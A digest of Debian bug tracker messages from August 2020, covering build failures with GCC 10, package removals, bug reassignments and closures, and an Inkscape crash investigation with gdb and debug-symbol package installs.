Bug#966671: coturn is marked for autoremoval from testing
removing the -v (or --verbose) flag from /etc/init.d/coturn fixed this for me. -JimC -- James Cloos OpenPGP: 0x997A9F17ED7DAEA6
Bug#968981: qtfeedback-opensource-src FTBFS: Error copying /<>/doc/qtfeedback to /<>/debian/tmp/usr/share/qt5/doc/qtfeedback: Cannot open /<>/doc/qtfeedback for
Source: qtfeedback-opensource-src Version: 5.0~git20180329.a14bd0bb-1 Severity: serious Tags: ftbfs qtfeedback-opensource-src fails to build from source. On the buildds, it failed to build on everything but amd64 and all, where it wasn't attempted. On a local build on amd64 I see the very same failure: | make[4]: Entering directory '/<>/src/feedback' | /usr/lib/qt5/bin/qmake -install qinstall /<>/doc/qtfeedback /<>/debian/tmp/usr/share/qt5/doc/qtfeedback | Error copying /<>/doc/qtfeedback to /<>/debian/tmp/usr/share/qt5/doc/qtfeedback: Cannot open /<>/doc/qtfeedback for input | make[4]: *** [Makefile:605: install_inst_html_docs] Error 3 | make[4]: Leaving directory '/<>/src/feedback' | make[3]: *** [Makefile:412: sub-feedback-install_docs_ordered] Error 2 | make[3]: Leaving directory '/<>/src' | make[2]: *** [Makefile:347: sub-src-install_docs] Error 2 | make[2]: Leaving directory '/<>' | make[1]: *** [debian/rules:24: override_dh_auto_install] Error 2 | make[1]: Leaving directory '/<>' | make: *** [debian/rules:17: binary] Error 2 | dpkg-buildpackage: error: debian/rules binary subprocess returned exit status 2 Helmut
Bug#968977: autopkgtest: abi-compliance-checker is Perl broken
Package: autopkgtest Version: 5.13.1 Severity: grave Justification: renders package unusable Hi, seems something creeped into the Perl code base: autopkgtest [01:32:07]: test acc: [--- Can't "next" outside a loop block at /usr/bin/abi-compliance-checker line 10171. This breaks autopkg tests and build testing pipelines. Best Norbert -- System Information: Debian Release: bullseye/sid APT prefers unstable APT policy: (500, 'unstable') Architecture: amd64 (x86_64) Foreign Architectures: i386 Kernel: Linux 5.8.3 (SMP w/8 CPU threads) Kernel taint flags: TAINT_WARN Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), LANGUAGE=en_US:en Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) Versions of packages autopkgtest depends on: ii apt-utils 2.1.10 ii libdpkg-perl1.20.5 ii procps 2:3.3.16-5 ii python3 3.8.2-3 ii python3-debian 0.1.37 Versions of packages autopkgtest recommends: ii autodep8 0.24 Versions of packages autopkgtest suggests: pn lxc pn lxd ii ovmf 2020.05-3 ii qemu-efi-aarch64 2020.05-3 ii qemu-efi-arm 2020.05-3 pn qemu-system ii qemu-utils1:5.1+dfsg-3 ii schroot 1.6.10-9+b1 pn vmdb2 -- no debconf information
Processed: Bug#937062 marked as pending in mod-wsgi
Processing control commands: > tag -1 pending Bug #937062 [src:mod-wsgi] mod-wsgi: Python2 removal in sid/bullseye Added tag(s) pending. -- 937062: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=937062 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#937062: marked as pending in mod-wsgi
Control: tag -1 pending Hello, Bug #937062 in mod-wsgi reported by you has been fixed in the Git repository and is awaiting an upload. You can see the commit message below and you can check the diff of the fix at: https://salsa.debian.org/python-team/modules/mod-wsgi/-/commit/bf5bd011eb0f6cdb4a7452a25b3992066dabd128 Remove py2 support. Closes: #937062 Remove the need to install old package. Closes: #968079 (this message was generated automatically) -- Greetings https://bugs.debian.org/937062
Processed: Bug#968079 marked as pending in mod-wsgi
Processing control commands: > tag -1 pending Bug #968079 [libapache2-mod-wsgi] libapache2-mod-wsgi: Package is not installable. Needs older Python2. Added tag(s) pending. -- 968079: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=968079 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#968079: marked as pending in mod-wsgi
Control: tag -1 pending Hello, Bug #968079 in mod-wsgi reported by you has been fixed in the Git repository and is awaiting an upload. You can see the commit message below and you can check the diff of the fix at: https://salsa.debian.org/python-team/modules/mod-wsgi/-/commit/bf5bd011eb0f6cdb4a7452a25b3992066dabd128 Remove py2 support. Closes: #937062 Remove the need to install old package. Closes: #968079 (this message was generated automatically) -- Greetings https://bugs.debian.org/968079
Bug#968756: Further Info
Hello Jason,
thanks for the information, just some notes before.
You might want to use reply all, otherwise the answer
might get through unnoticed.
And for some reason your email did not convert sufficiently
to plain text for some reason, so it appears kind of
short at https://bugs.debian.org/968756 .
On Sun, 23 Aug 2020 01:31:46 +0200 pub1...@gmx.com wrote:
>
> Dear Maintainers,
>
> @Mattia:
>
> > Since you tried the AppImage and reproduced with that as well, could you
> > consider filing a bug report upstream directly at
> > https://gitlab.com/inkscape/inbox ?
>
> Will do.
>
> > Also, I'm uploading now 1.0-5 to backports, if you could see whether
> > that also triggers this crash it would be useful (1.0-2 disable a bunch
> > of asserts that might or might not be relevant)
>
> Have just upgraded it now. I'll do my best at triggering the error again and
> keep you posted with strace info.
>
> Regards,
> Jason
>
>
>
> @Bernhard:
>
> > one small additional note. The dmesg lines you provided would have been
> > followed by lines "Code:". With that line it would be possible to
> > find at least the current instruction and source code line when the
> > executables are from the debian archive and the package version is
> > known. So please do not strip these lines away.
>
> Sorry, I didn't strip them on purpose, I just grep'd for 'inkscape'. My bad.
> Anyway, I dug into the dmesg log and isolated the info you requested:
>
> e9 c3 fc ff ff e8 05 45 5a ff 48 89 c3 e9 99 0a 69 ff 48 89 c3 e9 87 0a 69 ff
> 90 0f 1f 40 00 53 48 8d 87 48 01 00 00 48 89 fb <48> 39 87 48 01 00 00 74 3c
> 80 bb 39 01 00 00 00 74 0b 31 c0 5b c3
>
> Regards,
> Jason
>
This line points to function below.
But proper backtraces might still be needed to be able to find the reason.
You probably could install systemd-coredump - then minimal backtrace
should be visible in 'journalctl -e' after a chrash.
Plus a core would be generated for later inspection.
And if Thunar crashes too, are there also a segfault line?
Kind regards,
Bernhard
(gdb) info b
Num Type Disp Enb AddressWhat
2 breakpoint keep y 0x778e55db in
Avoid::Router::processTransaction() at /usr/include/c++/8/bits/stl_list.h:1063
(gdb) disassemble Avoid::Router::processTransaction
Dump of assembler code for function Avoid::Router::processTransaction():
0x778e55d0 <+0>: push %rbx
0x778e55d1 <+1>: lea0x148(%rdi),%rax
0x778e55d8 <+8>: mov%rdi,%rbx
-->0x778e55db <+11>:cmp%rax,0x148(%rdi)
0x778e55e2 <+18>:je 0x778e5620
0x778e55e4 <+20>:cmpb $0x0,0x139(%rbx)
...
benutzer@debian:~$ cat -n /usr/include/c++/8/bits/stl_list.h | grep 1063 -B7 -A2
1056
1057// [23.2.2.2] capacity
1058/**
1059 * Returns true if the %list is empty. (Thus begin() would equal
1060 * end().)
1061 */
1062bool
1063empty() const _GLIBCXX_NOEXCEPT
1064{ return this->_M_impl._M_node._M_next == >_M_impl._M_node;
}
1065
640 bool Router::processTransaction(void)
641 {
642 // If SimpleRouting, then don't update here.
643 if ((actionList.empty() && (m_hyperedge_rerouter.count() == 0) &&
644 (m_settings_changes == false)) || SimpleRouting)
645 {
https://gitlab.com/inkscape/inkscape/-/blob/INKSCAPE_1_0/src/3rdparty/adaptagrams/libavoid/router.cpp#L643
# Buster amd64 qemu VM 2020-08-24
apt update
apt dist-upgrade
# add backports and debug symbols from local approx cache:
deb http://192.168.178.25:/debian-10-buster-security.debian.org/
buster/updates main
deb-src http://192.168.178.25:/debian-10-buster-security.debian.org/
buster/updates main
deb http://192.168.178.25:/debian-10-buster-debug.deb.debian.org/
buster-debug main contrib non-free
deb http://192.168.178.25:/debian-10-buster-debug.deb.debian.org/
buster-proposed-updates-debug main contrib non-free
deb http://192.168.178.25:/debian-10-buster-debug.deb.debian.org/
buster-backports-debugmain contrib non-free
apt update
apt install systemd-coredump mc libstdc++-8-dev gdb inkscape/buster-backports
# Installs 1.0-5~bpo10+1 from two days ago ...
wget
https://snapshot.debian.org/archive/debian/20200527T144641Z/pool/main/i/inkscape/inkscape_1.0-1%7Ebpo10%2B1_amd64.deb
wget
https://snapshot.debian.org/archive/debian-debug/20200527T144324Z/pool/main/i/inkscape/inkscape-dbgsym_1.0-1%7Ebpo10%2B1_amd64.deb
dpkg -i inkscape_1.0-1~bpo10+1_amd64.deb inkscape-dbgsym_1.0-1~bpo10+1_amd64.deb
# https://wiki.debian.org/InterpretingKernelOutputAtProcessCrash
echo -n "find /b ..., ..., 0x" && \
echo "e9 c3 fc ff ff e8 05 45 5a ff 48 89 c3 e9 99 0a 69 ff 48 89 c3 e9 87 0a
69 ff 90 0f 1f 40 00 53
Bug#962692: [Pkg-puppet-devel] Bug#962692: puppet: Crashes due to "missing" facts.d directories
Control: reassign -1 facter Control: merge -1 962784 Hi and thanks for the report! Wilmer van der Gaast writes: > Package: puppet > Version: 5.5.19-1 > Severity: grave > Justification: renders package unusable > > > Since the recent Ruby upgrade, Puppet invocations have been very noisy for a > while already. > > But by now it's not even starting. Even after a dpkg -P including most > dependencies (including apt-get remove ruby.*) then reinstalling, all I > get is: > > wilmer@veer:~/adsb$ sudo puppet agent --waitforcert 60 -t > /usr/lib/ruby/vendor_ruby/puppet/util.rb:461: warning: URI.escape is > obsolete > /usr/lib/ruby/vendor_ruby/puppet/file_system/file_impl.rb:80: warning: Using > the last argument as keyword parameters is deprecated > free(): invalid pointer > Aborted > This is a facter issue, as outlined in #962784. I'm reassigning this bug to facter and merging with #962784. Regards, Apollon
Processed: Re: [Pkg-puppet-devel] Bug#962692: puppet: Crashes due to "missing" facts.d directories
Processing control commands: > reassign -1 facter Bug #962692 [puppet] puppet: Crashes due to "missing" facts.d directories Bug reassigned from package 'puppet' to 'facter'. No longer marked as found in versions puppet/5.5.19-1. Ignoring request to alter fixed versions of bug #962692 to the same values previously set > merge -1 962784 Bug #962692 [facter] puppet: Crashes due to "missing" facts.d directories Bug #962692 [facter] puppet: Crashes due to "missing" facts.d directories Marked as found in versions facter/3.11.0-4.1. Bug #962784 [facter] facter aborts with free(): invalid pointer Merged 962692 962784 -- 962692: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=962692 962784: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=962784 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#967915: Depends on geda-gaf
> geda-gaf is scheduled for removal (#965098) and gspiceui depends on it. > > Quoting Bdale in the RM bug above: > It looks like the last gspiceui upstream release was in late 2018, and > the only reason it depends on geda-gaf is that it wants to use gnetlist > to import schematic data from gschem. Updating that to use > lepton-netlist to import schematic data from lepton-schematic should be > a pretty simple search and replace operation if keeping gspiceui seems > worthwhile (I don't know, I've never used it). I'd prefer that gspiceui be kept. I don't care much for gEDA and if the dependency isn't strictly necessary or can be replaced with lepton-netlist, I'm all for it. As a matter of fact, it looks like there is already code in place to search for lepton-netlist in addition to gnetlist: https://salsa.debian.org/science-team/gspiceui/-/blob/master/src/TypeDefs.hpp#L112-130 It should be enough to replace the dependencies on geda-gschem and geda-gnetlist with lepton-eda.
Bug#957151: marked as done (drbd-utils: ftbfs with GCC-10)
Your message dated Mon, 24 Aug 2020 22:03:31 + with message-id and subject line Bug#957151: fixed in drbd-utils 9.13.1-1 has caused the Debian Bug report #957151, regarding drbd-utils: ftbfs with GCC-10 to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 957151: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=957151 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Package: src:drbd-utils Version: 9.11.0-1 Severity: normal Tags: sid bullseye User: debian-...@lists.debian.org Usertags: ftbfs-gcc-10 Please keep this issue open in the bug tracker for the package it was filed for. If a fix in another package is required, please file a bug for the other package (or clone), and add a block in this package. Please keep the issue open until the package can be built in a follow-up test rebuild. The package fails to build in a test rebuild on at least amd64 with gcc-10/g++-10, but succeeds to build with gcc-9/g++-9. The severity of this report will be raised before the bullseye release, so nothing has to be done for the buster release. The full build log can be found at: http://people.debian.org/~doko/logs/gcc10-20200225/drbd-utils_9.11.0-1_unstable_gcc10.log The last lines of the build log are at the end of this report. To build with GCC 10, either set CC=gcc-10 CXX=g++-10 explicitly, or install the gcc, g++, gfortran, ... packages from experimental. apt-get -t=experimental install g++ Common build failures are new warnings resulting in build failures with -Werror turned on, or new/dropped symbols in Debian symbols files. For other C/C++ related build failures see the porting guide at http://gcc.gnu.org/gcc-10/porting_to.html [...] gcc -g -O2 -fdebug-prefix-map=/<>=. -fstack-protector-strong -Wformat -Werror=format-security -Wall -I../../drbd-headers -I.. -I. -I../shared -Wdate-time -D_FORTIFY_SOURCE=2 -c -o drbdmeta.o ../shared/drbdmeta.c gcc -g -O2 -fdebug-prefix-map=/<>=. -fstack-protector-strong -Wformat -Werror=format-security -Wall -I../../drbd-headers -I.. -I. -I../shared -Wdate-time -D_FORTIFY_SOURCE=2 -c -o drbdmeta_scanner.o ../shared/drbdmeta_scanner.c gcc -g -O2 -fdebug-prefix-map=/<>=. -fstack-protector-strong -Wformat -Werror=format-security -Wall -I../../drbd-headers -I.. -I. -I../shared -Wdate-time -D_FORTIFY_SOURCE=2 -c -o drbd_strings.o ../../drbd-headers/drbd_strings.c gcc -g -O2 -fdebug-prefix-map=/<>=. -fstack-protector-strong -Wformat -Werror=format-security -Wall -I../../drbd-headers -I.. -I. -I../shared -Wdate-time -D_FORTIFY_SOURCE=2 -c -o drbdmeta_linux.o ../shared/drbdmeta_linux.c gcc -g -O2 -fdebug-prefix-map=/<>=. -fstack-protector-strong -Wformat -Werror=format-security -Wall -I../../drbd-headers -I.. -I. -I../shared -Wdate-time -D_FORTIFY_SOURCE=2 -c -o drbdsetup.o drbdsetup.c gcc -g -O2 -fdebug-prefix-map=/<>=. -fstack-protector-strong -Wformat -Werror=format-security -Wall -I../../drbd-headers -I.. -I. -I../shared -Wdate-time -D_FORTIFY_SOURCE=2 -c -o wrap_printf.o ../shared/wrap_printf.c gcc -g -O2 -fdebug-prefix-map=/<>=. -fstack-protector-strong -Wformat -Werror=format-security -Wall -I../../drbd-headers -I.. -I. -I../shared -Wdate-time -D_FORTIFY_SOURCE=2 -c -o drbdsetup_colors.o drbdsetup_colors.c gcc -g -O2 -fdebug-prefix-map=/<>=. -fstack-protector-strong -Wformat -Werror=format-security -Wall -I../../drbd-headers -I.. -I. -I../shared -Wdate-time -D_FORTIFY_SOURCE=2 -c -o drbdsetup_linux.o drbdsetup_linux.c gcc -g -O2 -fdebug-prefix-map=/<>=. -fstack-protector-strong -Wformat -Werror=format-security -Wall -I../../drbd-headers -I.. -I. -I../shared -Wdate-time -D_FORTIFY_SOURCE=2 -Wl,-z,relro -Wl,-z,now -Wl,-z,relro -Wl,-z,now -o drbdadm drbdadm_scanner.o drbdadm_parser.o drbdadm_postparse.o drbdadm_main.o drbdadm_adjust.o drbdadm_dump.o drbdtool_common.o drbdadm_usage_cnt.o drbd_buildtag.o registry.o config_flags.o libnla.o drbd_nla.o shared_tool.o shared_main.o shared_parser.o libgenl.o drbdadm_linux.o drbdtool_common_linux.o gcc -g -O2 -fdebug-prefix-map=/<>=. -fstack-protector-strong -Wformat -Werror=format-security -Wall -I../../drbd-headers -I.. -I. -I../shared -Wdate-time -D_FORTIFY_SOURCE=2 -Wl,-z,relro -Wl,-z,now -Wl,-z,relro -Wl,-z,now -o drbdmeta drbdmeta.o drbdmeta_scanner.o drbdtool_common.o drbd_buildtag.o drbd_strings.o shared_tool.o drbdmeta_linux.o drbdtool_common_linux.o gcc -g -O2 -fdebug-prefix-map=/<>=. -fstack-protector-strong -Wformat -Werror=format-security -Wall -I../../drbd-headers -I.. -I. -I../shared -Wdate-time -D_FORTIFY_SOURCE=2 -Wl,-z,relro -Wl,-z,now
Bug#957294: marked as done (gnushogi: ftbfs with GCC-10)
Your message dated Mon, 24 Aug 2020 21:49:05 +
with message-id
and subject line Bug#957294: fixed in gnushogi 1.4.2-7
has caused the Debian Bug report #957294,
regarding gnushogi: ftbfs with GCC-10
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)
--
957294: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=957294
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: src:gnushogi
Version: 1.4.2-6
Severity: normal
Tags: sid bullseye
User: debian-...@lists.debian.org
Usertags: ftbfs-gcc-10
Please keep this issue open in the bug tracker for the package it
was filed for. If a fix in another package is required, please
file a bug for the other package (or clone), and add a block in this
package. Please keep the issue open until the package can be built in
a follow-up test rebuild.
The package fails to build in a test rebuild on at least amd64 with
gcc-10/g++-10, but succeeds to build with gcc-9/g++-9. The
severity of this report will be raised before the bullseye release,
so nothing has to be done for the buster release.
The full build log can be found at:
http://people.debian.org/~doko/logs/gcc10-20200225/gnushogi_1.4.2-6_unstable_gcc10.log
The last lines of the build log are at the end of this report.
To build with GCC 10, either set CC=gcc-10 CXX=g++-10 explicitly,
or install the gcc, g++, gfortran, ... packages from experimental.
apt-get -t=experimental install g++
Common build failures are new warnings resulting in build failures with
-Werror turned on, or new/dropped symbols in Debian symbols files.
For other C/C++ related build failures see the porting guide at
http://gcc.gnu.org/gcc-10/porting_to.html
[...]
1137 | else if ((Captured[c2][p] && color[u]) == neutral)
|^~
../../gnushogi/eval.c: In function ‘AttackedPieceValue’:
../../gnushogi/eval.c:1268:14: warning: variable ‘ds’ set but not used
[-Wunused-but-set-variable]
1268 | short s, ds;
| ^~
gcc -g -O2 -fdebug-prefix-map=/<>=. -fstack-protector-strong
-Wformat -Werror=format-security -DHASHFILE=\"/usr/lib/gnushogi/gnushogi.hsh\"
-fsigned-char -funroll-loops -Wall -Wno-implicit-int -Wstrict-prototypes -ansi
-pedantic -I. -I.. -I../.. -c ../../gnushogi/genmove.c
gcc -g -O2 -fdebug-prefix-map=/<>=. -fstack-protector-strong
-Wformat -Werror=format-security -DHASHFILE=\"/usr/lib/gnushogi/gnushogi.hsh\"
-fsigned-char -funroll-loops -Wall -Wno-implicit-int -Wstrict-prototypes -ansi
-pedantic -I. -I.. -I../.. -c ../../gnushogi/init.c
gcc -g -O2 -fdebug-prefix-map=/<>=. -fstack-protector-strong
-Wformat -Werror=format-security -DHASHFILE=\"/usr/lib/gnushogi/gnushogi.hsh\"
-fsigned-char -funroll-loops -Wall -Wno-implicit-int -Wstrict-prototypes -ansi
-pedantic -I. -I.. -I../.. -DPATTERNFILE=\"../../misc/gnushogi.pat\" -c
../../gnushogi/makepattern.c
gcc -g -O2 -fdebug-prefix-map=/<>=. -fstack-protector-strong
-Wformat -Werror=format-security -DHASHFILE=\"/usr/lib/gnushogi/gnushogi.hsh\"
-fsigned-char -funroll-loops -Wall -Wno-implicit-int -Wstrict-prototypes -ansi
-pedantic -I. -I.. -I../.. -c ../../gnushogi/pat2inc.c
gcc -g -O2 -fdebug-prefix-map=/<>=. -fstack-protector-strong
-Wformat -Werror=format-security -DHASHFILE=\"/usr/lib/gnushogi/gnushogi.hsh\"
-fsigned-char -funroll-loops -Wall -Wno-implicit-int -Wstrict-prototypes -ansi
-pedantic -I. -I.. -I../.. -o pat2inc globals.o init-common.o pattern-common.o
makepattern.o pat2inc.o -Wl,-z,relro -lcurses -lm
./pat2inc
Pattern: 2102 bytes for 14 sequences with 128 patterns.
gcc -g -O2 -fdebug-prefix-map=/<>=. -fstack-protector-strong
-Wformat -Werror=format-security -DHASHFILE=\"/usr/lib/gnushogi/gnushogi.hsh\"
-fsigned-char -funroll-loops -Wall -Wno-implicit-int -Wstrict-prototypes -ansi
-pedantic -I. -I.. -I../.. -c ../../gnushogi/pattern.c
gcc -g -O2 -fdebug-prefix-map=/<>=. -fstack-protector-strong
-Wformat -Werror=format-security -DHASHFILE=\"/usr/lib/gnushogi/gnushogi.hsh\"
-fsigned-char -funroll-loops -Wall -Wno-implicit-int -Wstrict-prototypes -ansi
-pedantic -I. -I.. -I../.. -c ../../gnushogi/rawdsp.c
../../gnushogi/rawdsp.c: In function ‘Raw_help’:
../../gnushogi/rawdsp.c:316:51: warning: format ‘%d’ expects argument of type
‘int’, but argument 3 has type ‘long int’ [-Wformat=]
316 | printf("Depth:%-12d Response time: %d sec\n",
| ~^
| |
| int
Bug#957355: marked as done (ifplugd: ftbfs with GCC-10)
Your message dated Mon, 24 Aug 2020 20:35:41 + with message-id and subject line Bug#957355: fixed in ifplugd 0.28-19.5 has caused the Debian Bug report #957355, regarding ifplugd: ftbfs with GCC-10 to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 957355: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=957355 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Package: src:ifplugd Version: 0.28-19.4 Severity: normal Tags: sid bullseye User: debian-...@lists.debian.org Usertags: ftbfs-gcc-10 Please keep this issue open in the bug tracker for the package it was filed for. If a fix in another package is required, please file a bug for the other package (or clone), and add a block in this package. Please keep the issue open until the package can be built in a follow-up test rebuild. The package fails to build in a test rebuild on at least amd64 with gcc-10/g++-10, but succeeds to build with gcc-9/g++-9. The severity of this report will be raised before the bullseye release, so nothing has to be done for the buster release. The full build log can be found at: http://people.debian.org/~doko/logs/gcc10-20200225/ifplugd_0.28-19.4_unstable_gcc10.log The last lines of the build log are at the end of this report. To build with GCC 10, either set CC=gcc-10 CXX=g++-10 explicitly, or install the gcc, g++, gfortran, ... packages from experimental. apt-get -t=experimental install g++ Common build failures are new warnings resulting in build failures with -Werror turned on, or new/dropped symbols in Debian symbols files. For other C/C++ related build failures see the porting guide at http://gcc.gnu.org/gcc-10/porting_to.html [...] checking pkg-config is at least version 0.9.0... yes checking for LIBDAEMON_CFLAGS... -D_REENTRANT checking for LIBDAEMON_LIBS... -ldaemon configure: *** Init sript will be installed in /etc/init.d *** configure: creating ./config.status config.status: creating src/Makefile config.status: creating Makefile config.status: creating man/Makefile config.status: creating conf/Makefile config.status: creating doc/Makefile config.status: creating doc/README.html config.status: creating patches/Makefile config.status: creating ifplugd.spec config.status: creating config.h config.status: executing depfiles commands make[1]: Leaving directory '/<>' dh_auto_build make -j1 make[1]: Entering directory '/<>' make all-recursive make[2]: Entering directory '/<>' Making all in src make[3]: Entering directory '/<>/src' make all-am make[4]: Entering directory '/<>/src' gcc -DHAVE_CONFIG_H -I. -I. -I.. -Wdate-time -D_FORTIFY_SOURCE=2 -D_REENTRANT -DSYSCONFDIR="\"/etc\"" -D_GNU_SOURCE -g -O2 -fdebug-prefix-map=/<>=. -fstack-protector-strong -Wformat -Werror=format-security -pipe -W -Wall -Wno-unused-parameter -c ifplugd.c In file included from /usr/include/string.h:495, from ifplugd.c:28: In function ‘strncpy’, inlined from ‘is_iface_available’ at ifplugd.c:379:5: /usr/include/x86_64-linux-gnu/bits/string_fortified.h:106:10: warning: ‘__builtin_strncpy’ specified bound 16 equals destination size [-Wstringop-truncation] 106 | return __builtin___strncpy_chk (__dest, __src, __len, __bos (__dest)); | ^~ gcc -DHAVE_CONFIG_H -I. -I. -I.. -Wdate-time -D_FORTIFY_SOURCE=2 -D_REENTRANT -DSYSCONFDIR="\"/etc\"" -D_GNU_SOURCE -g -O2 -fdebug-prefix-map=/<>=. -fstack-protector-strong -Wformat -Werror=format-security -pipe -W -Wall -Wno-unused-parameter -c interface.c In file included from /usr/include/string.h:495, from interface.c:31: In function ‘strncpy’, inlined from ‘interface_detect_beat_wlan’ at interface.c:300:5: /usr/include/x86_64-linux-gnu/bits/string_fortified.h:106:10: warning: ‘__builtin_strncpy’ specified bound 16 equals destination size [-Wstringop-truncation] 106 | return __builtin___strncpy_chk (__dest, __src, __len, __bos (__dest)); | ^~ In function ‘strncpy’, inlined from ‘get_wlan_qual_new’ at interface.c:243:5, inlined from ‘interface_detect_beat_wlan’ at interface.c:313:14: /usr/include/x86_64-linux-gnu/bits/string_fortified.h:106:10: warning: ‘__builtin_strncpy’ specified bound 16 equals destination size [-Wstringop-truncation] 106 | return __builtin___strncpy_chk (__dest, __src, __len, __bos (__dest)); | ^~ In function ‘strncpy’, inlined from
Bug#960265: marked as done (s390x install Debootstrap warning: Failure while configuring base packages. s390-tools depends on perl:any.)
Your message dated Mon, 24 Aug 2020 19:52:43 + with message-id and subject line Bug#960265: fixed in s390-tools 2.3.0-2~deb10u1 has caused the Debian Bug report #960265, regarding s390x install Debootstrap warning: Failure while configuring base packages. s390-tools depends on perl:any. to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 960265: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=960265 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- package: s390-tools Version: current Installer from 04.05.2020 21:14 http://ftp.halifax.rwth-aachen.de/debian/dists/buster/main/installer-s390x/current/images/generic/ When I install debian I run in this Problem (from console 4): May 11 09:43:43 debootstrap: Errors were encountered while processing: May 11 09:43:43 debootstrap: s390-tools May 11 09:43:44 debootstrap: dpkg: dependency problems prevent configuration of s390-tools: May 11 09:43:44 debootstrap: s390-tools depends on perl:any. May 11 09:43:44 debootstrap: May 11 09:43:44 debootstrap: dpkg: error processing package s390-tools (--configure): May 11 09:43:44 debootstrap: dependency problems - leaving unconfigured Installation failed in step install base system. --- End Message --- --- Begin Message --- Source: s390-tools Source-Version: 2.3.0-2~deb10u1 Done: Philipp Kern We believe that the bug you reported is fixed in the latest version of s390-tools, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 960...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Philipp Kern (supplier of updated s390-tools package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Format: 1.8 Date: Mon, 17 Aug 2020 10:04:45 +0200 Source: s390-tools Architecture: source Version: 2.3.0-2~deb10u1 Distribution: buster Urgency: medium Maintainer: Debian S/390 Team Changed-By: Philipp Kern Closes: 960265 Changes: s390-tools (2.3.0-2~deb10u1) buster; urgency=medium . * Upload debootstrap fix to Debian stable. (Closes: #960265) Checksums-Sha1: c49460fef9a618f12e24e3a3e96b8d3673738984 1764 s390-tools_2.3.0-2~deb10u1.dsc b773fd0cda4348ce7bde263ea0d4393b7eafe9fd 10484 s390-tools_2.3.0-2~deb10u1.debian.tar.xz e759aa082449ec2a0a5e00e25e844c7571186d4b 6432 s390-tools_2.3.0-2~deb10u1_source.buildinfo Checksums-Sha256: a5f9b83bd995473b53c1f7cc7bd742e8cc76857347864ff6a15f5d348d7c12c8 1764 s390-tools_2.3.0-2~deb10u1.dsc 36d8b5959e58983c01929369b23079baf47ca540da5f9ccd9852723b39b3a34f 10484 s390-tools_2.3.0-2~deb10u1.debian.tar.xz d31c89a45eb493bd2bc2c842a25a751e9c788e9b3add51658f783b5b469c5b7d 6432 s390-tools_2.3.0-2~deb10u1_source.buildinfo Files: 1f2f3aa813fa79108199a1bb370006e8 1764 admin important s390-tools_2.3.0-2~deb10u1.dsc 11b6ecc528ca8806a8843b2d28678432 10484 admin important s390-tools_2.3.0-2~deb10u1.debian.tar.xz ed0aac88d4a7abd5ba52f6464ab788b4 6432 admin important s390-tools_2.3.0-2~deb10u1_source.buildinfo -BEGIN PGP SIGNATURE- iQFFBAEBCAAvFiEEPzuChCNsw7gPxr3/RG4lRTXQVuwFAl88tMARHHBrZXJuQGRl Ymlhbi5vcmcACgkQRG4lRTXQVuwxbAgAuQBSw6k2c+ASRZDnxqFWMGcZvpZGa1Sa UDYfvUKcfDIeouMuA0jPNPjd1Zvy0pp7fBn8kPY6nyCk3lL50UXg+W0Hibio47Gm tgJ421oFim4iQOTpkgZPQVj/kd6GKBCJ9/GuiLF1k43Sxl7WbahNJyn/49ilSE52 iGA6JBoU0X/1m6m8O1vglK5wBNeeUyjjVxamnL4gpZ/IKDla+uJAWGfVufCPH/tW uxgLGx91qaM7o8ZaLjNwgdsx2bq40k4N7PeoELiJxCrstPCoJ4omBFetNgfcnD7j BXc7Xk4UmBJYYnSdbloOrAQBDbGkVUkXLUYIY+rjriktjc2lN2K4Hw== =43F1 -END PGP SIGNATURE End Message ---
Bug#968694: marked as done (python-django-jsonfield: Missing build dependency on python3-psycopg2)
Your message dated Mon, 24 Aug 2020 19:19:05 +
with message-id
and subject line Bug#968694: fixed in python-django-jsonfield 1.4.0-2
has caused the Debian Bug report #968694,
regarding python-django-jsonfield: Missing build dependency on python3-psycopg2
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)
--
968694: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=968694
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: python-django-jsonfield
Version: 1.4.0-1
